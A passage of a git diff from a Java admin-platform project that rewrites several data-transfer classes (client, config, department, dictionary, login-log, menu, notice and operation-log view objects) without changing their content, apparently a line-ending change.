b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysClientVo.java @@ -1,90 +1,90 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.system.domain.SysClient; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; - - -/** - * 授权管理视图对象 sys_client - * - * @author Michelle.Chung - * @date 2023-05-15 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysClient.class) -public class SysClientVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * id - */ - @ExcelProperty(value = "id") - private Long id; - - /** - * 客户端id - */ - @ExcelProperty(value = "客户端id") - private String clientId; - - /** - * 客户端key - */ - @ExcelProperty(value = "客户端key") - private String clientKey; - - /** - * 客户端秘钥 - */ - @ExcelProperty(value = "客户端秘钥") - private String clientSecret; - - /** - * 授权类型 - */ - @ExcelProperty(value = "授权类型") - private List grantTypeList; - - /** - * 授权类型 - */ - private String grantType; - - /** - * 设备类型 - */ - private String deviceType; - - /** - * token活跃超时时间 - */ - @ExcelProperty(value = "token活跃超时时间") - private Long activeTimeout; - - /** - * token固定超时时间 - */ - @ExcelProperty(value = "token固定超时时间") - private Long timeout; - - /** - * 状态(0正常 1停用) - */ - @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "0=正常,1=停用") - private String status; - - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.system.domain.SysClient; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; + + +/** + * 授权管理视图对象 sys_client + * + * @author Michelle.Chung + * @date 2023-05-15 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysClient.class) +public class SysClientVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * id + */ + @ExcelProperty(value = "id") + private Long id; + + /** + * 客户端id + */ + @ExcelProperty(value = "客户端id") + private String clientId; + + /** + * 客户端key + */ + @ExcelProperty(value = "客户端key") + private String clientKey; + + /** + * 客户端秘钥 + */ + @ExcelProperty(value = "客户端秘钥") + private String clientSecret; + + /** + * 授权类型 + */ + @ExcelProperty(value = "授权类型") + private List grantTypeList; + + /** + * 授权类型 + */ + private String grantType; + + /** + * 设备类型 + */ + private String deviceType; + + /** + * token活跃超时时间 + */ + @ExcelProperty(value = "token活跃超时时间") + private Long activeTimeout; + + /** + * token固定超时时间 + */ + @ExcelProperty(value = "token固定超时时间") + private Long timeout; + + /** + * 状态(0正常 1停用) + */ + @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "0=正常,1=停用") + private String status; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysConfigVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysConfigVo.java index 946f3df..56296b7 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysConfigVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysConfigVo.java @@ -1,72 +1,72 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.system.domain.SysConfig; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - -/** - * 参数配置视图对象 sys_config - * - * @author Michelle.Chung - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysConfig.class) -public class SysConfigVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 参数主键 - */ - @ExcelProperty(value = "参数主键") - private Long configId; - - /** - * 参数名称 - */ - @ExcelProperty(value = "参数名称") - private String configName; - - /** - * 参数键名 - */ - @ExcelProperty(value = "参数键名") - private String configKey; - - /** - * 参数键值 - */ - @ExcelProperty(value = "参数键值") - private String configValue; - - /** - * 系统内置(Y是 N否) - */ - @ExcelProperty(value = "系统内置", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_yes_no") - private String configType; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.system.domain.SysConfig; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + +/** + * 参数配置视图对象 sys_config + * + * @author Michelle.Chung + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysConfig.class) +public class SysConfigVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 参数主键 + */ + @ExcelProperty(value = "参数主键") + private Long configId; + + /** + * 参数名称 + */ + @ExcelProperty(value = "参数名称") + private String configName; + + /** + * 参数键名 + */ + @ExcelProperty(value = "参数键名") + private String configKey; + + /** + * 参数键值 + */ + @ExcelProperty(value = "参数键值") + private String configValue; + + /** + * 系统内置(Y是 N否) + */ + @ExcelProperty(value = "系统内置", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_yes_no") + private String configType; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDeptVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDeptVo.java index 098b865..da4d43e 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDeptVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDeptVo.java @@ -1,102 +1,102 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.system.domain.SysDept; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - -/** - * 部门视图对象 sys_dept - * - * @author Michelle.Chung - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysDept.class) -public class SysDeptVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 部门id - */ - @ExcelProperty(value = "部门id") - private Long deptId; - - /** - * 父部门id - */ - private Long parentId; - - /** - * 父部门名称 - */ - private String parentName; - - /** - * 祖级列表 - */ - private String ancestors; - - /** - * 部门名称 - */ - @ExcelProperty(value = "部门名称") - private String deptName; - - /** - * 部门类别编码 - */ - @ExcelProperty(value = "部门类别编码") - private String deptCategory; - - /** - * 显示顺序 - */ - private Integer orderNum; - - /** - * 负责人ID - */ - private Long leader; - - /** - * 负责人 - */ - @ExcelProperty(value = "负责人") - private String leaderName; - - /** - * 联系电话 - */ - @ExcelProperty(value = "联系电话") - private String phone; - - /** - * 邮箱 - */ - @ExcelProperty(value = "邮箱") - private String email; - - /** - * 部门状态(0正常 1停用) - */ - @ExcelProperty(value = "部门状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_normal_disable") - private String status; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.system.domain.SysDept; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + +/** + * 部门视图对象 sys_dept + * + * @author Michelle.Chung + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysDept.class) +public class SysDeptVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 部门id + */ + @ExcelProperty(value = "部门id") + private Long deptId; + + /** + * 父部门id + */ + private Long parentId; + + /** + * 父部门名称 + */ + private String parentName; + + /** + * 祖级列表 + */ + private String ancestors; + + /** + * 部门名称 + */ + @ExcelProperty(value = "部门名称") + private String deptName; + + /** + * 部门类别编码 + */ + @ExcelProperty(value = "部门类别编码") + private String deptCategory; + + /** + * 显示顺序 + */ + private Integer orderNum; + + /** + * 负责人ID + */ + private Long leader; + + /** + * 负责人 + */ + @ExcelProperty(value = "负责人") + private String leaderName; + + /** + * 联系电话 + */ + @ExcelProperty(value = "联系电话") + private String phone; + + /** + * 邮箱 + */ + @ExcelProperty(value = "邮箱") + private String email; + + /** + * 部门状态(0正常 1停用) + */ + @ExcelProperty(value = "部门状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_normal_disable") + private String status; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDictDataVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDictDataVo.java index cd84881..48ab44e 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDictDataVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDictDataVo.java @@ -1,88 +1,88 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.system.domain.SysDictData; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - -/** - * 字典数据视图对象 sys_dict_data - * - * @author Michelle.Chung - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysDictData.class) -public class SysDictDataVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 字典编码 - */ - @ExcelProperty(value = "字典编码") - private Long dictCode; - - /** - * 字典排序 - */ - @ExcelProperty(value = "字典排序") - private Integer dictSort; - - /** - * 字典标签 - */ - @ExcelProperty(value = "字典标签") - private String dictLabel; - - /** - * 字典键值 - */ - @ExcelProperty(value = "字典键值") - private String dictValue; - - /** - * 字典类型 - */ - @ExcelProperty(value = "字典类型") - private String dictType; - - /** - * 样式属性(其他样式扩展) - */ - private String cssClass; - - /** - * 表格回显样式 - */ - private String listClass; - - /** - * 是否默认(Y是 N否) - */ - @ExcelProperty(value = "是否默认", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_yes_no") - private String isDefault; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.system.domain.SysDictData; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + +/** + * 字典数据视图对象 sys_dict_data + * + * @author Michelle.Chung + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysDictData.class) +public class SysDictDataVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 字典编码 + */ + @ExcelProperty(value = "字典编码") + private Long dictCode; + + /** + * 字典排序 + */ + @ExcelProperty(value = "字典排序") + private Integer dictSort; + + /** + * 字典标签 + */ + @ExcelProperty(value = "字典标签") + private String dictLabel; + + /** + * 字典键值 + */ + @ExcelProperty(value = "字典键值") + private String dictValue; + + /** + * 字典类型 + */ + @ExcelProperty(value = "字典类型") + private String dictType; + + /** + * 样式属性(其他样式扩展) + */ + private String cssClass; + + /** + * 表格回显样式 + */ + private String listClass; + + /** + * 是否默认(Y是 N否) + */ + @ExcelProperty(value = "是否默认", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_yes_no") + private String isDefault; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDictTypeVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDictTypeVo.java index 1b1f95a..a380195 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDictTypeVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysDictTypeVo.java @@ -1,57 +1,57 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.system.domain.SysDictType; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - -/** - * 字典类型视图对象 sys_dict_type - * - * @author Michelle.Chung - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysDictType.class) -public class SysDictTypeVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 字典主键 - */ - @ExcelProperty(value = "字典主键") - private Long dictId; - - /** - * 字典名称 - */ - @ExcelProperty(value = "字典名称") - private String dictName; - - /** - * 字典类型 - */ - @ExcelProperty(value = "字典类型") - private String dictType; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.system.domain.SysDictType; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + +/** + * 字典类型视图对象 sys_dict_type + * + * @author Michelle.Chung + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysDictType.class) +public class SysDictTypeVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 字典主键 + */ + @ExcelProperty(value = "字典主键") + private Long dictId; + + /** + * 字典名称 + */ + @ExcelProperty(value = "字典名称") + private String dictName; + + /** + * 字典类型 + */ + @ExcelProperty(value = "字典类型") + private String dictType; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysLogininforVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysLogininforVo.java index 7ec7047..2edd843 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysLogininforVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysLogininforVo.java @@ -1,106 +1,106 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.system.domain.SysLogininfor; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 系统访问记录视图对象 sys_logininfor - * - * @author Michelle.Chung - * @date 2023-02-07 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysLogininfor.class) -public class SysLogininforVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 访问ID - */ - @ExcelProperty(value = "序号") - private Long infoId; - - /** - * 租户编号 - */ - private String tenantId; - - /** - * 用户账号 - */ - @ExcelProperty(value = "用户账号") - private String userName; - - /** - * 客户端 - */ - @ExcelProperty(value = "客户端") - private String clientKey; - - /** - * 设备类型 - */ - @ExcelProperty(value = "设备类型", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_device_type") - private String deviceType; - - /** - * 登录状态(0成功 1失败) - */ - @ExcelProperty(value = "登录状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_common_status") - private String status; - - /** - * 登录IP地址 - */ - @ExcelProperty(value = "登录地址") - private String ipaddr; - - /** - * 登录地点 - */ - @ExcelProperty(value = "登录地点") - private String loginLocation; - - /** - * 浏览器类型 - */ - @ExcelProperty(value = "浏览器") - private String browser; - - /** - * 操作系统 - */ - @ExcelProperty(value = "操作系统") - private String os; - - - /** - * 提示消息 - */ - @ExcelProperty(value = "提示消息") - private String msg; - - /** - * 访问时间 - */ - @ExcelProperty(value = "访问时间") - private Date loginTime; - - -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.system.domain.SysLogininfor; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 系统访问记录视图对象 sys_logininfor + * + * @author Michelle.Chung + * @date 2023-02-07 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysLogininfor.class) +public class SysLogininforVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 访问ID + */ + @ExcelProperty(value = "序号") + private Long infoId; + + /** + * 租户编号 + */ + private String tenantId; + + /** + * 用户账号 + */ + @ExcelProperty(value = "用户账号") + private String userName; + + /** + * 客户端 + */ + @ExcelProperty(value = "客户端") + private String clientKey; + + /** + * 设备类型 + */ + @ExcelProperty(value = "设备类型", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_device_type") + private String deviceType; + + /** + * 登录状态(0成功 1失败) + */ + @ExcelProperty(value = "登录状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_common_status") + private String status; + + /** + * 登录IP地址 + */ + @ExcelProperty(value = "登录地址") + private String ipaddr; + + /** + * 登录地点 + */ + @ExcelProperty(value = "登录地点") + private String loginLocation; + + /** + * 浏览器类型 + */ + @ExcelProperty(value = "浏览器") + private String browser; + + /** + * 操作系统 + */ + @ExcelProperty(value = "操作系统") + private String os; + + + /** + * 提示消息 + */ + @ExcelProperty(value = "提示消息") + private String msg; + + /** + * 访问时间 + */ + @ExcelProperty(value = "访问时间") + private Date loginTime; + + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysMenuVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysMenuVo.java index a51564a..b2a29fa 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysMenuVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysMenuVo.java @@ -1,116 +1,116 @@ -package org.dromara.system.domain.vo; - -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.system.domain.SysMenu; - -import java.io.Serial; -import java.io.Serializable; -import java.util.ArrayList; -import java.util.Date; -import java.util.List; - - -/** - * 菜单权限视图对象 sys_menu - * - * @author Michelle.Chung - */ -@Data -@AutoMapper(target = SysMenu.class) -public class SysMenuVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 菜单ID - */ - private Long menuId; - - /** - * 菜单名称 - */ - private String menuName; - - /** - * 父菜单ID - */ - private Long parentId; - - /** - * 显示顺序 - */ - private Integer orderNum; - - /** - * 路由地址 - */ - private String path; - - /** - * 组件路径 - */ - private String component; - - /** - * 路由参数 - */ - private String queryParam; - - /** - * 是否为外链(0是 1否) - */ - private String isFrame; - - /** - * 是否缓存(0缓存 1不缓存) - */ - private String isCache; - - /** - * 菜单类型(M目录 C菜单 F按钮) - */ - private String menuType; - - /** - * 显示状态(0显示 1隐藏) - */ - private String visible; - - /** - * 菜单状态(0正常 1停用) - */ - private String status; - - /** - * 权限标识 - */ - private String perms; - - /** - * 菜单图标 - */ - private String icon; - - /** - * 创建部门 - */ - private Long createDept; - - /** - * 备注 - */ - private String remark; - - /** - * 创建时间 - */ - private Date createTime; - - /** - * 子菜单 - */ - private List children = new ArrayList<>(); - -} +package org.dromara.system.domain.vo; + +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.system.domain.SysMenu; + +import java.io.Serial; +import java.io.Serializable; +import java.util.ArrayList; +import java.util.Date; +import java.util.List; + + +/** + * 菜单权限视图对象 sys_menu + * + * @author Michelle.Chung + */ +@Data +@AutoMapper(target = SysMenu.class) +public class SysMenuVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 菜单ID + */ + private Long menuId; + + /** + * 菜单名称 + */ + private String menuName; + + /** + * 父菜单ID + */ + private Long parentId; + + /** + * 显示顺序 + */ + private Integer orderNum; + + /** + * 路由地址 + */ + private String path; + + /** + * 组件路径 + */ + private String component; + + /** + * 路由参数 + */ + private String queryParam; + + /** + * 是否为外链(0是 1否) + */ + private String isFrame; + + /** + * 是否缓存(0缓存 1不缓存) + */ + private String isCache; + + /** + * 菜单类型(M目录 C菜单 F按钮) + */ + private String menuType; + + /** + * 显示状态(0显示 1隐藏) + */ + private String visible; + + /** + * 菜单状态(0正常 1停用) + */ + private String status; + + /** + * 权限标识 + */ + private String perms; + + /** + * 菜单图标 + */ + private String icon; + + /** + * 创建部门 + */ + private Long createDept; + + /** + * 备注 + */ + private String remark; + + /** + * 创建时间 + */ + private Date createTime; + + /** + * 子菜单 + */ + private List children = new ArrayList<>(); + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysNoticeVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysNoticeVo.java index 271ae62..d24c1b0 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysNoticeVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysNoticeVo.java @@ -1,73 +1,73 @@ -package org.dromara.system.domain.vo; - -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.translation.annotation.Translation; -import org.dromara.common.translation.constant.TransConstant; -import org.dromara.system.domain.SysNotice; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 通知公告视图对象 sys_notice - * - * @author Michelle.Chung - */ -@Data -@AutoMapper(target = SysNotice.class) -public class SysNoticeVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 公告ID - */ - private Long noticeId; - - /** - * 公告标题 - */ - private String noticeTitle; - - /** - * 公告类型(1通知 2公告) - */ - private String noticeType; - - /** - * 公告内容 - */ - private String noticeContent; - - /** - * 公告状态(0正常 1关闭) - */ - private String status; - - /** - * 备注 - */ - private String remark; - - /** - * 创建者 - */ - private Long createBy; - - /** - * 创建人名称 - */ - @Translation(type = TransConstant.USER_ID_TO_NAME, mapper = "createBy") - private String createByName; - - /** - * 创建时间 - */ - private Date createTime; - -} +package org.dromara.system.domain.vo; + +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.translation.annotation.Translation; +import org.dromara.common.translation.constant.TransConstant; +import org.dromara.system.domain.SysNotice; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 通知公告视图对象 sys_notice + * + * @author Michelle.Chung + */ +@Data +@AutoMapper(target = SysNotice.class) +public class SysNoticeVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 公告ID + */ + private Long noticeId; + + /** + * 公告标题 + */ + private String noticeTitle; + + /** + * 公告类型(1通知 2公告) + */ + private String noticeType; + + /** + * 公告内容 + */ + private String noticeContent; + + /** + * 公告状态(0正常 1关闭) + */ + private String status; + + /** + * 备注 + */ + private String remark; + + /** + * 创建者 + */ + private Long createBy; + + /** + * 创建人名称 + */ + @Translation(type = TransConstant.USER_ID_TO_NAME, mapper = "createBy") + private String createByName; + + /** + * 创建时间 + */ + private Date createTime; + +} diff --git a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOperLogVo.java b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOperLogVo.java index 145e11c..ef5b9e9 100644 --- a/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOperLogVo.java +++ b/ruoyi-modules/ruoyi-system/src/main/java/org/dromara/system/domain/vo/SysOperLogVo.java @@ -1,144 +1,144 @@ -package org.dromara.system.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.system.domain.SysOperLog; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - -/** - * 操作日志记录视图对象 sys_oper_log - * - * @author Michelle.Chung - * @date 2023-02-07 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = SysOperLog.class) -public class SysOperLogVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 日志主键 - */ - @ExcelProperty(value = "日志主键") - private Long operId; - - /** - * 租户编号 - */ - private String tenantId; - - /** - * 模块标题 - */ - @ExcelProperty(value = "操作模块") - private String title; - - /** - * 业务类型(0其它 1新增 2修改 3删除) - */ - @ExcelProperty(value = "业务类型", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_oper_type") - private Integer businessType; - - /** - * 业务类型数组 - */ - private Integer[] businessTypes; - - /** - * 方法名称 - */ - @ExcelProperty(value = "请求方法") - private String method; - - /** - * 请求方式 - */ - @ExcelProperty(value = "请求方式") - private String requestMethod; - - /** - * 操作类别(0其它 1后台用户 2手机端用户) - */ - @ExcelProperty(value = "操作类别", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "0=其它,1=后台用户,2=手机端用户") - private Integer operatorType; - - /** - * 操作人员 - */ - @ExcelProperty(value = "操作人员") - private String operName; - - /** - * 部门名称 - */ - @ExcelProperty(value = "部门名称") - private String deptName; - - /** - * 请求URL - */ - @ExcelProperty(value = "请求地址") - private String operUrl; - - /** - * 主机地址 - */ - @ExcelProperty(value = "操作地址") - private String operIp; - - /** - * 操作地点 - */ - @ExcelProperty(value = "操作地点") - private String operLocation; - - /** - * 请求参数 - */ - @ExcelProperty(value = "请求参数") - private String operParam; - - /** - * 返回参数 - */ - @ExcelProperty(value = "返回参数") - private String jsonResult; - - /** - * 操作状态(0正常 1异常) - */ - @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "sys_common_status") - private Integer status; - - /** - * 错误消息 - */ - @ExcelProperty(value = "错误消息") - private String errorMsg; - - /** - * 操作时间 - */ - @ExcelProperty(value = "操作时间") - private Date operTime; - - /** - * 消耗时间 - */ - @ExcelProperty(value = "消耗时间") - private Long costTime; -} +package org.dromara.system.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.system.domain.SysOperLog; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + +/** + * 操作日志记录视图对象 sys_oper_log + * + * @author Michelle.Chung + * @date 2023-02-07 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = SysOperLog.class) +public class SysOperLogVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 日志主键 + */ + @ExcelProperty(value = "日志主键") + private Long operId; + + /** + * 租户编号 + */ + private String tenantId; + + /** + * 模块标题 + */ + @ExcelProperty(value = "操作模块") + private String title; + + /** + * 业务类型(0其它 1新增 2修改 3删除) + */ + @ExcelProperty(value = "业务类型", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "sys_oper_type") + private Integer businessType; + + /** + * 业务类型数组 + */ + private Integer[] businessTypes; + + /** + * 方法名称 + */ + @ExcelProperty(value = "请求方法") + private String method; + + /** + * 请求方式 + */ + @ExcelProperty(value = "请求方式") + private String requestMethod; + + /** + * 操作类别(0其它 1后台用户 2手机端用户) + */ + 